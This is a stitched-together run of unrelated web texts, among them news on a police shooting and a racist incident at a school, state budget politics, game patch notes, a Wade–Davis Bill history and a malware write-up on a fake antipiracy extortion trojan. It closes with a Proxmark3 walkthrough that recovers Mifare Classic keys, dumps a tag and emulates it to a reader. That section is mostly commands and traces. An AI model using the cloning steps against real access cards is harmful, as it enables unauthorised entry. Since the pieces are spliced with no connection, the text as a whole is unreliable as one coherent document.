In the years since its release, occasional discoveries of smuggled or concealed snakes in airports or aboard airplanes around the world invariably draw comparisons to Ellis’ thriller. Fortunately for the frequent flyer, such occurrences are rare.
Jackson has had memorable roles in numerous movies, but not all of them contain dialogue with the same kind of (expletive-laden) punch as his standout line in Ellis’ snake movie: “I have had it with these … snakes on this … plane.”
In 2006, Ellis offered advice for nervous flyers while talking to Brian Finkelstein, whose “Snakes on a Blog” blog helped publicize the movie.
“First of all, you shouldn’t even fly unless you go with Sam Jackson, anymore, anywhere,” he said. “You never know what could happen. If you have Sam, you’re going to be cool.”
Ellis mused on whether the stuck-with-snakes theme would work in other movies.
“‘Titanic’ would be good with a ton of snakes, and at the same time, the boat’s going down. That would be kind of cool,” Ellis said. “Or ‘Cannonball Run,’ with snakes in every car. Or, you know, there’s a lot you could do. ‘Top Gun’ with snakes in their planes.”
So there’s no reason to presume that it’s James McAvoy who will be starring in the upcoming Captain Britain TV show.
She tweets,
For my 1000th Tweet: Who will be playing Brian Braddock in the upcoming tv series #CaptainBritain?#Marvel Stay tune! pic.twitter.com/e0gbXKjdav — Ciara McAvoy (@CiaraMcAvoy1) March 19, 2016
And follows up with,
@DuffMD I am being paid to do the promo poster so yes I'd say this is really happening. — Ciara McAvoy (@CiaraMcAvoy1) March 19, 2016
@coalminds Hopefully a British actor. I'm using one as model anyway. — Ciara McAvoy (@CiaraMcAvoy1) March 19, 2016
I can't reveal anything yet but hopefully I'll be able to soon. Waiting for the go ahead from the co-producer — Ciara McAvoy (@CiaraMcAvoy1) March 22, 2016
@SteveisSensible It is his own don't worry. I'm painting The Lady Of The Lake until they have an actor confirmed for Capt. Britain — Ciara McAvoy (@CiaraMcAvoy1) March 22, 2016
Is it too late to campaign for Idris Elba?
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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from the lack-of-control dept
We've seen some fairly extreme examples of police involved in shootings that were, shall we kindly say, questionable. Whether it's charging the target of police firearms with assault over injuries incurred by bystanders, officers being given the opportunity to see the evidence in question of shootings before making their statements, or officers simply looking to destroy said evidence, there appears to be an epidemic of trigger finger in our nations protectors, even as the danger involved in their jobs dips to historic lows. It's difficult to know just what is responsible for these stories. Are we simply able to hold LEOs to task due to more ubiquitous video surveillance? Is there an officer education problem? Is a police force more militarized than ever naturally going to exhibit more aggressive behavior?
Whatever the cause, we had damned well better figure it out, because the stories keep rolling in. The latest is the tragic tale of a Georgia teenager who wanted to serve his country and instead ended up getting served with a fatal wound for the apparent crime of having a video game controller in his hand.
The family of a 17-year-old shot and killed by a Euharlee police officer has hired an attorney, and they say he had a remote control in his hand. They say it was not a gun.
Christopher Roupe, 17, was in the ROTC at Woodland High School and wanted to join the Marines. His friends said he looked after them.
A female police officer told GBI investigators that Roupe pointed a gun at her when he opened the door.
“We don't know where that statement came from. The eyewitnesses on the scene clearly state that he had a Wii controller in his hand. He heard a knock at the door. He asked who it was, there was no response so he opened the door and upon opening the door he was immediately shot in the chest,” [attorney Cole] Law said.
The officer who shot him reportedly exited the home shortly after shooting Roupe, sobbing into her hands, a clear sign of remorse. Hell, it sounds weak, but mistakes happen, even tragic mistakes like this. Remorse is the proper response. The response offered in the officer's report of the incident, however, is not.Open the door with a controller in your hand and get a bullet in the chest. Then, to have the report deviate so completely from the eyewitness accounts just adds salt to the family's wounds. At some point people are going to have to realize that, despite what your favorite news program would have you believe, violent crime continues to diminish, while shootings by police have remained static. That simply doesn't make any sense.That a young man who wanted to serve was caught by another officer with a trigger finger should sound the alarm that it's damned time something was done.
Dayton made the announcement late Thursday after the four legislative leaders signed an agreement limiting the special session agenda to six bills.
But there’s still no guarantee there are enough votes to pass all of the bills.
Some Senate Democrats aren’t happy with the ag and environment budget bill that they say rolls back environmental protections.
The governor made a personal pitch to Senate Democrats to support the bill but Senate Majority Leader Tom Bakk, DFL-Cook, says the meeting didn’t shift opinion in the room.
“I don’t think it changed many minds,” Bakk said. “I was a little surprised by that because he actually told people that he wanted the bill to pass.”
Dayton declined comment on what he told Democrats in the private meetings.
Bakk said several Democrats aren’t happy with the bill and made promises to environmental advocacy groups that they won’t support it. Bakk said the measure will need Republican votes to pass but he wasn’t certain how many.
During the regular session, 29 Senate Democrats voted against it, meaning Bakk needed the help of 25 Republicans to pass it.
Senate Minority Leader David Hann, R-Eden Prairie, said there won’t be that many GOP votes this time.
“I think there will be fewer votes,” Hann said. “I told Sen. Bakk this morning that we know there are 10, and we’ll see where they are. But I think that the bills will ultimately pass.”
Several Democrats left the private meeting saying they still won’t support the ag and environment bill.
Sen. Jeff Hayden, DFL-Minneapolis, is one of them.
“This process of divided government has been extremely tough on people,” Hayden said. “When Democrats were running the show, we did really good stuff and now we’re having to try to compromise and that’s been extremely difficult.”
If the bill doesn’t pass, Bakk said they would have to “go back to the drawing board” and negotiate a different bill with House Republicans.
House Speaker Kurt Daudt, R-Crown, said he is confident his caucus will support all of the budget bills. He also said he hasn’t lobbied Hann to pass the budget.
“If Sen. Bakk needs votes from the Senate Republicans I assume that he is asking them,” Daudt said. “I have not asked for any votes from any of them.”
The build is available to anyone who owns the game at bluebottlegames.com, or on Desura and Steam. Desura (and therefore, Groupees) users can use Desura Connect to gain access here, or even get their Steam keys and try it on Steam.
To access the test build on the official site, simply visit the game page, and click any of the download links below the usual Windows, Mac, and Linux buttons.
Steam users can access the test build by opting into the beta for it.
Updates Included in the Test Build
Test build 1.02b includes the following changes:
Added extra junk market store policy info when first visiting site.
Added code to improve trackpad and MS Surface clicking/right-clicking.
Changed save game process so most important data is saved first, in case of crash during map data.
Changed scavenge locale spawn rate code back to original design to avoid bugs introduced by new code.
Changed scavenge locale spawn rate to cap at 300 hours to prevent endless looping.
Fixed a bug that caused modded items not to stack when using property 88 (ignore subgroup on stacking).
Fixed a bug that caused Blue Frog papers to be given as treasure instead of Meredith Ewing papers.
Fixed a crash that occurred when a creature shares the Player's faction while calculating next move.
Fixed a bug that caused item context menu to disappear behind message window when item was near screen bottom.
The likelihood that this version of NEO Scavenger will work with previous saves is: likely.
As usual, the older the save game version, the less likely it is to work.
Simply slipping on a sock would cause excruciating pain for this Indian farmer who is forced to tend his fields in the buff.
But Subal Barman, whose naked body is a common sight in Rajpur village, in West Bengal, northern India, refuses to let his strange condition get him down.
He said: "From my childhood I could not wear clothes on my skin. It gives me a burning sensation and it’s unbearable."
He can’t even sleep under bed sheets as the material affects his sensitive skin.
Subal was diagnosed with the rare condition when he was five and again when he was 17 by a local medical officer.
(Image: Cover Asia Press)
But his poverty means seeking medical treatment in a nearby city would be far too expensive.
Instead he has become comfortable living his day-to-day life in the buff.
While many might be shocked to see a fully-grown man wandering around in his birthday suit, he insists people in his village have got used to him.
He said: "My neighbours have fortunately got used to me, they think it’s normal and never complain.
"They know I’ve had this issue for years so they leave me be and do not tease me."
He refuses to allow his allergy to ruin his social life and explains that he’s attended weddings, parties and even popped into the local temple completely naked.
Despite years battling the elements without a stitch on, Subal, who has never left his village, still has trouble with the weather.
While he enjoys winter - as the cold against his bare skin is a pleasant sensation - the summer is a different problem.
(Image: Cover Asia Press)
"I have to take baths several times a day in the summer because my skin is too sensitive to the heat," he said.
"I can’t cope with the prickly sensations, water is the only thing that helps.’ Although his allergy hasn’t affected his work as a farmer, the man who lives alone after losing his father as a child and his mother in 2003, is convinced it is the reason he’s still single.
(Image: Cover Asia Press)
"What woman could marry a man who has this kind of problem?"
Subal asked. "No family will allow their daughter to marry me. I know I’m an embarrassment but I have no choice. This is the life I have to live. I know I’ll be alone forever – this is my destiny. But being sad or depressed about it cannot reduce my problem."
As a child he did occasionally feel uncomfortable naked, but he now accepts that he’s likely to be nude for the rest of his life.
(Image: Cover Asia Press)
He likes to believe the condition may be a blessing. "I have accepted that God has given me this special thing. Maybe in his eyes I am special!”
A spokesperson for the British Skin Foundation, Professor Hywel Williams, said that Subal might be suffering from a form of Dysaesthesia, which is an abnormal unpleasant sensation when someone is touched, usually caused by damage to the peripheral nerves.
(Image: Cover Asia Press)
He said: “Dysaesthesia includes pins and needles, burning, tingling and a crawling sensation.
2. People are now stringing the words "goalie" and "controversy" together when discussing the Flyers' situation in the crease. (Go search Twitter for "goalie controversy" and see for yourself. Or look at the post-game, where members of the Philadelphia media prodded Neuvirth with questions about being promised more minutes when he signed here.)
3. No. They shouldn't do this.
4. Since 2012-13, Steve Mason has a combined .920 save percentage in 134 games played. Michal Neuvirth has a combined .917 ... but has only played 63 games. Steve Mason has proven over a years-long period of time that he's the better goaltender.
5. The Flyers have a clear No. 1 goaltender and a clear No. 2 goaltender this season. This has been the plan for months.
6. Steve Mason, the No. 1, had one good game in the season opener and one bad game on Saturday night in Florida. He's dealing with some personal issues, and they may or may not be related to that bad game. One bad game is not enough to deviate from a months-long plan.
7. The Flyers have five complete days off until their next game. If Neuvirth is on a hot streak right now, it's safe to assume that hot streak will be halted by a five-day break. Because that's how hot streaks work.
8. Steve Mason will probably be the starting goaltender on Tuesday night when the team plays again, because he is the starting goalie and it will have been nine days since he last played.
Which brings us to this amazing photo -- snapped by AFP's Saul Loeb
President Donald Trump speaks during a White House lunch meeting with Republican members of the Senate, including Sen. Jeff Flake, right. | Saul Loeb/AFP/Getty
That photo tells you literally everything you need to know about the current fracture within the Republican Party.
Trump, in the foreground, is out of focus but it's clear he is talking. When Trump did talk before lunch with the senators on Tuesday, he defended his decision to endorse controversial Republican Senate nominee Roy Moore of Alabama. (Hours later, Flake cut a $100 check to Moore's Democratic opponent Doug Jones .)
This one attempts to steal victims' money by bullying them to pay a "pre-trial settlement" to cover a "Copyright holder fine".
The victim is informed that an "Antipiracy foundation scanner" has found illegal torrents from the system. If he won't pay $400 (via a credit card transaction), he might face jail time and huge fines.
And the warnings will not go away. They will reappear every time the user reboots his system.
All of this is completely fake. There is no "ICPP Foundation", and the messages will appear even if the system contains no illegal material whatsoever.
Most importantly: Refuse to pay money to these clowns! If people pay them, the problem will only grow bigger.
The group behind this have even set up an official-looking website at icpp-online.com.
The domain is registered to Mr. "Shoen Overns". The same e-mail address ovenersbox@yahoo.com has been seen before in various other domains, connected to Zeus and Koobface scams.
If you click on the Reports shown by the application, you'll end up on pages such as these:
We tried calling the (Italian) phone number listed on the page: +39 (06) 9028 0658. Unsurprisingly, it goes nowhere.
These pages are hosted at 91.209.238.2, which according to WHOIS belongs to EBUNKER-NET, a "High protected Somalia network". It's running in Moldova.
This is what the payment page looks like:
There is no obvious credit-card payment system connected to the site; they just seem to collect the credit card information.
If you are hit by this trojan, DO NOT PAY. Instead, use an antivirus program that is capable of detecting it to remove the trojan. F-Secure Antivirus detects it as Rogue:W32/DotTorrent.A. You can use our free Online Scanner at ols.f-secure.com to check your system.
The malware is typically located in c:\documents and settings\USERNAME\application data\IQManager\iqmanager.exe. We've seen two versions so far. MD5 hashes of them are cedc2c35bf967027d609df13e937946c and bca3226cc1cfea416c0bcf488082e5fd.
Then on 1 November 2007 your wife made two calls to triple 000 in the early hours of the morning seeking police assistance. It is most unfortunate and an indictment on our society that no assistance was forthcoming, as a result of a very disappointing reaction by the telephone operator, to your wife’s inability to speak English, in anything other than a broken English manner. (“R V Azizi,” 2010, p. §11)
Providing emergency services in linguistically heterogeneous environments is not an easy task. In Australia, as elsewhere, calls from callers who cannot make themselves understood in English are re-routed to the national telephone interpreter service. Negotiating for an interpreter service and then waiting for the interpreter to come online in an emergency is time-consuming and stressful. As Raymond (2014) found in a study of Spanish calls to the US emergency telephone service, sending a call through to the telephone interpreting service more than doubled the response time and thus was often resisted by the operator because that additional time could make the difference between life and death in an acute emergency.
Given the time it takes to re-route an emergency call through the telephone interpreting service, it is perhaps not surprising that the domestic violence victim mentioned above became impatient or was forced to abandon her call for help before she could actually communicate with the police. What is surprising is that no attempt was made to call her back and no police car was dispatched to her place of residence despite her two failed attempts to call emergency services.
Domestic violence is a well-recognized problem in Australia and there is a network of formal support services available to women who find themselves in danger. However, these formal support services operate exclusively in English and gaining access in another language remains difficult. As an examination of the barriers faced by migrant women in accessing legal services in NSW put it, persons who do not speak English well in Australia are “a long way from equal.” Cases like these challenge us to rethink linguistic arrangements in linguistically diverse contexts in order to make access to emergency services – and social services more generally – more equitable. It may be tempting to think that this is too tall an order and that ensuring equitable access in any language other than the nationally dominant language is too difficult.
Not so! In the above-mentioned study of Spanish-language calls in the USA, transfer of a Spanish-speaking caller to the telephone interpreting service almost doubled the response time and thus was highly inefficient. However, the situation was different in cases where bilingual operators were available in the same call center. In such cases, a Spanish emergency call was immediately transferred to a bilingual operator and the response time was virtually unaffected. So, a way to provide effective multilingual services would be to hire multilingual telephone operators who can handle calls in the dominant language and one or more other languages.
Now here is the rub: in the city where the researcher recorded the bulk of his data no single bilingual operator who spoke Spanish was on the staff. When one knows about the demographic profile of that city, the absence of English-Spanish bilingual emergency telephone operators becomes almost unbelievable: the city where the research took place is located in the US Southwest and at the time of data collection in 2010 more than 50% of the city’s population were of Hispanic/Latino origin. This information turns the assumption that monolingual emergency services are natural and normal on its head: only employing monolingual English-speaking emergency telephone operators in such a bilingual context almost seems perversely designed to prevent fair and equitable access. I am not for a moment suggesting that monolingual emergency services are the result of some sort of conspiracy. They are not. They are an expression of our collective failure of imagination: a failure to recognize that linguistic diversity poses an equity problem and a failure to imagine that we can change our social linguistic arrangements in ways that make them more equitable and just.
Raymond, Chase Wesley (2014). Negotiating Entitlement to Language: Calling 911 without English
Background [ edit ]
The Wade–Davis Bill emerged from a plan introduced in the Senate by Ira Harris of New York in February, 1863.[2] It proposed to base the Reconstruction of the South on the government's power to guarantee a republican form of government. The Wade–Davis Bill was also important for national and congressional power. Although federally imposed conditions of reconstruction retrospectively seem logical, there was a widespread belief that southern Unionism would return the seceded states to the Union after the Confederacy's military power was broken. This belief was not fully abandoned until later in 1863. The provisions, critics complained, were virtually impossible to meet, thus making it likely there would be permanent national control over the states formerly in rebellion.[1]
Senate voting [ edit ]
Those voting for passage in the Senate numbered 18: Messrs. Anthony (R), Chandler (R), Clark (R), Conness (R), Foot (R), Harlan (R), Harris (R), Howe, Lane of Kansas (R), Morgan (R), Pomeroy (R), Ramsey (R), Sherman (R), Sprague (R), Sumner (R), Wade (R), Wilkinson (R), Wilson (R). Those voting against passage numbered 14: Messrs. Buckalew (D), Carlile (U), Davis (UU), Doolittle (R), Henderson (UU), Hendricks (D), Lane of Indiana (R), McDougall (D), Powell (D), Riddle (D), Saulsbury (D), Ten Eyck (R), Trumbull (R), Van Winkle (UU).[3]
Party Yes No Republican 18 4 Democrat 0 6 Unconditional
Unionist 0 3 Unionist 0 1
Lincoln's veto [ edit ]
One of Lincoln's objections was to the idea that seceded states needed to "re-join" the Union (an idea that permeated the whole bill). The philosophy of the war from Lincoln's point of view was that states were not constitutionally allowed to secede in the first place and therefore the so-called Confederate states were still part of the Union, even though their return to a full participation in the Union would require the fulfillment of some conditions. But he didn't think the war was being waged against "treasonous" States as such (since the refusal of the Union to recognize their right to secede made the ordinances of secession null) but merely to "compel the obedience of rebellious individuals". The problem was that the language of the bill was at times undermining the Union rationale for the war by plainly asserting for instance that states in rebellion were not part of the Union anymore.[4]
Moreover, the bill compelled those states to draft new Constitutions banning slavery, which was plainly unconstitutional at the time since, in the then-absence of a Constitutional amendment on the issue (which would soon pass on its own right), Congress had no power to deal with slavery within each state.[5]
On a more pragmatic level, Lincoln also feared the bill would sabotage his own reconstruction activities in states like Louisiana, Arkansas, and Tennessee, all of which had passed ordinances of secession but were under Federal occupation and control of pro-Union governments. He believed that Wade–Davis would jeopardize state-level emancipation movements in loyal border states like Missouri and, especially, Maryland. The bill threatened to destroy the delicate political coalitions which Lincoln had begun to construct between Northern and Southern moderates. More broadly, it underscored how differently Lincoln and Radical Republicans viewed the Confederates. The President thought they needed to be coaxed back into peaceful coexistence while Wade–Davis treated them as traitors that needed to be punished. Lincoln ended up killing the bill with a pocket veto, and it was not resurrected.[6][7]
The aftermath [ edit ]
Davis was a bitter enemy of Lincoln because he believed that the President was too lenient in his policies for the South. Davis and Wade issued a manifesto "To the Supporters of the Government" on August 4, 1864, accusing Lincoln of using reconstruction to secure electors in the South who would "be at the dictation of his personal ambition," and condemning what they saw as his efforts to usurp power from Congress ("the authority of Congress is paramount and must be respected"). The Manifesto backfired, however, and while it initially caused much debate on the nature of the Reconstruction to come, Winter Davis was not renominated for his Congressional seat in Maryland.[8] Its ideas, particularly that Congress should be the main driver of the post-war process and that the Presidency should be a weaker office (the President "must confine himself to his executive duties – to obey and execute, not to make the laws –, to suppress by arms armed rebellion, and leave political reorganization to Congress" [9]), did influence Congressional Republicans during the following years, however, eventually leading to Andrew Johnson's impeachment trial.[citation needed]
Lincoln survived their attacks and greatly strengthened his position with a landslide victory in the 1864 election, and national passage of the 13th Amendment in February, 1865. He momentarily marginalized the Radicals in terms of shaping Reconstruction policy. After Lincoln's death, Radical Republicans battled President Andrew Johnson, who tried to implement a version of Lincoln's plan. The midterm elections of 1866 turned into a referendum on the 14th amendment and the trajectory of Reconstruction policy. With the Republicans' victory, Congress took control of Reconstruction. The radicals wanted a much harsher plan, but they did not try to reimpose the terms of Wade-Davis. Instead they implemented the Reconstruction Acts and took control of the former rebel states with the United States Army, which registered black men as voters and barred some former Confederate leaders from running for office.[10]
In one of two emails sent to parents, the school’s principal said the incident happened Thursday after school, at a public stop at Southeast 28th Place and Division Street. It sits less than two blocks from the school.
Principal Kristyn Westphal wrote the men “yelled racist epithets, including the N-word. This was witnessed by other students.”
Carmen Orellana, a mom at the middle school, says one of those students was her son.
He told her the men followed the student from Hosford to the bus stop, about two blocks, yelling things like “Run Forrest Run!”
Her son also told her the men tried to fight the boy. Orellana drove back to the bus stop and found the student sitting alone, shaking.
The men were gone.
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“It's horrible, and that's what I told my son,” she said. “We have to protect our kids. I mean, it kind of bothered me that there were adults around and nobody intervened.”
The district confirms the school filed a report with Portland police and arranged to have counselors, as well as two school resource officers, on site Friday.
They’ll also be maintaining a staff presence at the bus stop for the rest of the year.
“I've heard of some of that stuff happening around the world, but it doesn't really happen here that much,” said seventh grader Keenan Wadnizik. “So that's really sad.”
Westphal ended her letter, sent home Thursday, writing, “…we want to help students feel safe at school, and to stand up against hate together.”
Students spent much of the day Friday putting the finishing touches on murals and painting posters, celebrating diversity and denouncing racism.
The incident comes two days after organizers of ‘Good in the Hood’, an annual multicultural festival, received a racist, threatening letter in the mail. Laced with the “N-word”, it promised a “BLOOD BATH” at the three-day, family friendly event, scheduled to kick off June 23.
It comes two weeks after police said a man verbally assaulted two teen girls on MAX train, one of whom appeared to be Muslim, then stabbed three men who tried to intervene. Two of those men died.
Back at Hosford, a second email went out early Friday morning, inviting Hosford parents to the school and the bus stop to “welcome students”. It read:
Hosford Family -
I hope to see you at 8:30 in the library, and afterward, out on 28th Place/Division to welcome students. Here is the message we will be sharing with students during 2nd period this morning.
Ask students how many of them heard about the incident at the public bus stop at Division and 28th Place yesterday afternoon, either from their families (Ms. Westphal sent a message) or on the news. Please make students aware of the following facts: Yesterday after school at the public bus stop at Division and 28th Place, a Hosford student of color was yelled at by two adult White males who yelled racist words, including the N-word. Other students saw this happen. Students and a parent reported this to school administration. School administration immediately notified police, we have made a police report, and administrators will be at this bus stop after school for the rest of the year. We are concerned about the impact of this incident and of the racist posters that showed up in the neighborhood yesterday on our students, staff, and families of color. This is not okay that these things happened in our community yesterday and affected our students, staff, and families. We want to help make sure everyone feels safe and welcome going to and from school, as well as in the school building, and we want to stand up together against hate. If you need any extra support, or need to talk to someone, school staff are here for you, and Ms. Brown and Ms. Anderson are here all day. Administrators are going to be outside near this bus stop each day after school, and there are also some Hosford parents planning to stand along the street for the next few days after school because they want students to know our community supports you and hate is not okay. If you ever find yourself in a situation where someone is being racist in public: Get to safety (school, restaurant, business) Stay together Call the police Tell an adult Take questions/discuss Mr. Ereckson's art classes are collecting posters with messages against hate, standing up for everyone being welcome, safe, and included in our community. They will be posting these at end of day today. We would love to have posters from as many students as possible.
Thank you for all you do.
Kristyn Westphal
Principal, Hosford Middle School
The no-frills airline is adding an eighth aircraft to its Manchester base, which will also allow it to launch services to Thessaloniki in Greece, as well as Prague in the Czech Republic.
“We are also pleased to be able to announce further expansion from Manchester with the arrival of another aircraft in March 2013,” she said.
“This is great news for the regional economy, creating much-needed jobs in the city. Moscow and Prague will appeal to business and leisure travellers alike, with Thessaloniki promising to be a popular choice for holidaymakers from the region.”
Easyjet expanded its services from Manchester in October, adding a seventh aircraft to its base there, and beginning services to Venice and Reykjavik. It also increased the frequency of flights from the city to Paphos, in Cyprus, and the Greek island of Santorini.
The airline will now serve 32 routes from Manchester next summer.
It also recently announced plans to fly to Moscow from Gatwick next year, after beating Virgin Atlantic for the right to launch the route.
Emulating a Mifare Classic 1K Tag with the Proxmark3
Here is some background on the assumed operating environment.
proxmark3> hw ver
#db# Prox/RFID mark3 RFID instrument #db#
bootrom: master/v1.1.0-269-g0387cd3-suspect 2015-02-24 19:18:25 #db#
os: master/v1.1.0-269-g0387cd3-suspect 2015-03-26 22:58:14 #db#
HF FPGA image built on 2015/02/11 at 21:05:50
uC: AT91SAM7S512
Rev B Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 512K bytes
Second Nonvolatile Program Memory Size: None Internal SRAM
Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
Measuring antenna characteristics, please wait.........
# LF antenna: 0.00 V @ 125.00 kHz
# LF antenna: 0.00 V @ 134.00 kHz
# LF optimal: 0.28 V @ 600.00 kHz
# HF antenna: 12.55 V @ 13.56 MHz
# Your LF antenna is unusable.
Place the HF antenna above the Mifare 1K tag as pictured below. A little space between the antenna and tag seems to produce a more stable read.
The excerpt below demonstrates recovering keys from an actual tag (this step is optional if you already know the keys).
proxmark3> hf mf mifare uid(5c9f9f0d) nt(87057a14) par(64dc1c049c0414cc) ks(06060f0803070902) nr(00000000) |diff|{nr} |ks3|ks3^5|parity | +----+--------+---+-----+---------------+ | 00 |00000000| 6 | 3 |0,0,1,0,0,1,1,0| | 20 |00000020| 6 | 3 |0,0,1,1,1,0,1,1| | 40 |00000040| f | a |0,0,1,1,1,0,0,0| | 60 |00000060| 8 | d |0,0,1,0,0,0,0,0| | 80 |00000080| 3 | 6 |0,0,1,1,1,0,0,1| | a0 |000000a0| 7 | 2 |0,0,1,0,0,0,0,0| | c0 |000000c0| 9 | c |0,0,1,0,1,0,0,0| | e0 |000000e0| 2 | 7 |0,0,1,1,0,0,1,1| key_count:1 ------------------------------------------------------------------ Key found:ffffffffffff Found valid key:ffffffffffff
Specify the emulator keys that were discovered in the previous step.
proxmark3> hf mf nested 1 0 A FFFFFFFFFFFF t Testing known keys. Sector count=16 nested... Time in nested: 0.030 (inf sec per key) ----------------------------------------------- Iterations count: 0 |---|----------------|---|----------------|---| |sec|key A |res|key B |res| |---|----------------|---|----------------|---| |000| ffffffffffff | 1 | ffffffffffff | 1 | |001| ffffffffffff | 1 | ffffffffffff | 1 | |002| ffffffffffff | 1 | ffffffffffff | 1 | |003| ffffffffffff | 1 | ffffffffffff | 1 | |004| ffffffffffff | 1 | ffffffffffff | 1 | |005| ffffffffffff | 1 | ffffffffffff | 1 | |006| ffffffffffff | 1 | ffffffffffff | 1 | |007| ffffffffffff | 1 | ffffffffffff | 1 | |008| ffffffffffff | 1 | ffffffffffff | 1 | |009| ffffffffffff | 1 | ffffffffffff | 1 | |010| ffffffffffff | 1 | ffffffffffff | 1 | |011| ffffffffffff | 1 | ffffffffffff | 1 | |012| ffffffffffff | 1 | ffffffffffff | 1 | |013| ffffffffffff | 1 | ffffffffffff | 1 | |014| ffffffffffff | 1 | ffffffffffff | 1 | |015| ffffffffffff | 1 | ffffffffffff | 1 | |---|----------------|---|----------------|---|
proxmark3> hf mf ekeyprn |---|----------------|----------------| |sec|key A |key B | |---|----------------|----------------| |000| ffffffffffff | ffffffffffff | |001| ffffffffffff | ffffffffffff | |002| ffffffffffff | ffffffffffff | |003| ffffffffffff | ffffffffffff | |004| ffffffffffff | ffffffffffff | |005| ffffffffffff | ffffffffffff | |006| ffffffffffff | ffffffffffff | |007| ffffffffffff | ffffffffffff | |008| ffffffffffff | ffffffffffff | |009| ffffffffffff | ffffffffffff | |010| ffffffffffff | ffffffffffff | |011| ffffffffffff | ffffffffffff | |012| ffffffffffff | ffffffffffff | |013| ffffffffffff | ffffffffffff | |014| ffffffffffff | ffffffffffff | |015| ffffffffffff | ffffffffffff | |---|----------------|----------------|
The ekeyprn command shown below prints the keys configured within the simulator memory.
Now we can read the 1K tag info the PM3’s emulator memory. The HFA should be above the tag before running this command.
proxmark3> hf mf ecfill A 1 #db# EMUL FILL SECTORS FINISHED proxmark3>
We can save the dump with the esave command as shown below.
proxmark3> hf mf esave Saved 64 blocks to file: 5C9F9F0D518804.eml
Now simulate the tag with hf mf sim.
proxmark3> hf mf sim uid:N/A, numreads:0, flags:0 (0x00) #db# 4B UID: 5c9f9f0d #db# Emulator stopped. Tracing: 1 trace length: 481
Bring the HF antenna into the reader field. The reader should beep or acknowledge reading the tag some other way. Push the button when you are done.
To view a trace of Mifare communication messages run the command below.
proxmark3> hf list 14a Recorded Activity (TraceLen = 481 bytes) Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer iso14443a - All times are in carrier periods (1/13.56Mhz) iClass - Timings are not as accurate Start | End | Src | Data (! denotes parity error) | CRC | Annotation | -----------|-----------|-----|-----------------------------------------------------------------|-----|--------------------| 0 | 1056 | Rdr | 26 | | REQA 2548 | 4916 | Tag | 04 00 | | 13630 | 16094 | Rdr | 93 20 | | ANTICOLL 17778 | 23666 | Tag | 5c 9f 9f 0d 51 | | 44834 | 55298 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 56982 | 60502 | Tag | 08 b6 dd | | 3090530 | 3091522 | Rdr | 52 | | WUPA 3093270 | 3095638 | Tag | 04 00 | | 3108792 | 3119256 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 3120812 | 3124332 | Tag | 08 b6 dd | | 524726774 | 524727830 | Rdr | 26 | | REQA 524729258 | 524731626 | Tag | 04 00 | | 524740322 | 524742786 | Rdr | 93 20 | | ANTICOLL 524744598 | 524750486 | Tag | 5c 9f 9f 0d 51 | | 524771958 | 524782422 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 524783786 | 524787306 | Tag | 08 b6 dd | | 527817528 | 527818520 | Rdr | 52 | | WUPA 527820076 | 527822444 | Tag | 04 00 | | 527835774 | 527846238 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 527847922 | 527851442 | Tag | 08 b6 dd | | 533193150 | 533194142 | Rdr | 52 | | WUPA 533195762 | 533198130 | Tag | 04 00 | | 533211604 | 533222068 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 533223432 | 533226952 | Tag | 08 b6 dd | | 565450552 | 565451608 | Rdr | 26 | | REQA 565452972 | 565455340 | Tag | 04 00 | | 566201370 | 566202426 | Rdr | 26 | | REQA 566203726 | 566206094 | Tag | 04 00 | | 570432668 | 570433724 | Rdr | 26 | | REQA 570435152 | 570437520 | Tag | 04 00 | | 570446106 | 570448570 | Rdr | 93 20 | | ANTICOLL 570450254 | 570456142 | Tag | 5c 9f 9f 0d 51 | | 570477438 | 570487902 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 570489586 | 570493106 | Tag | 08 b6 dd | | 573523136 | 573524128 | Rdr | 52 | | WUPA 573525748 | 573528116 | Tag | 04 00 | | 573541332 | 573551796 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 573553288 | 573556808 | Tag | 08 b6 dd | |
The trace above is shallow and only shows UID reads. Here’s a trace of a full read where actual blocks are being read.
Start | End | Src | Data (! denotes parity error) | CRC | Annotation | -----------|-----------|-----|-----------------------------------------------------------------|-----|--------------------| 0 | 1056 | Rdr | 26 | | REQA 2356 | 4724 | Tag | 04 00 | | 13468 | 15932 | Rdr | 93 20 | | ANTICOLL 17552 | 23440 | Tag | 5c 9f 9f 0d 51 | | 44800 | 55264 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 56884 | 60404 | Tag | 08 b6 dd | | 3090516 | 3091508 | Rdr | 52 | | WUPA 3093064 | 3095432 | Tag | 04 00 | | 3108792 | 3119256 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 3120876 | 3124396 | Tag | 08 b6 dd | | 6153690 | 6154682 | Rdr | 52 | | WUPA 6156302 | 6158670 | Tag | 04 00 | | 6171840 | 6182304 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 6183988 | 6187508 | Tag | 08 b6 dd | | 8131362 | 8132354 | Rdr | 52 | | WUPA 8134102 | 8136470 | Tag | 04 00 | | 8149878 | 8160342 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 8161770 | 8165290 | Tag | 08 b6 dd | | 11196216 | 11197208 | Rdr | 52 | | WUPA 11198828 | 11201196 | Tag | 04 00 | | 11214556 | 11225020 | Rdr | 93 70 5c 9f 9f 0d 51 32 b7 | | SELECT_UID 11226640 | 11230160 | Tag | 08 b6 dd | | 13398804 | 13403508 | Rdr | 60 00 f5 7b | | AUTH-A(0) 13407816 | 13412552 | Tag | 01 02 03 04 | | 13413914 | 13423226 | Rdr | 1e 25 05 2f 09 9c da 01 | !crc| ? 13431566 | 13436238 | Tag | a2 d5 c8 d7 | | 14870812 | 14875516 | Rdr | 60 00 f5 7b | | AUTH-A(0) 14881936 | 14886672 | Tag | fe ad 30 a1 | | 14888212 | 14897524 | Rdr | da 5d 8c 54 3c bc f0 d7 | 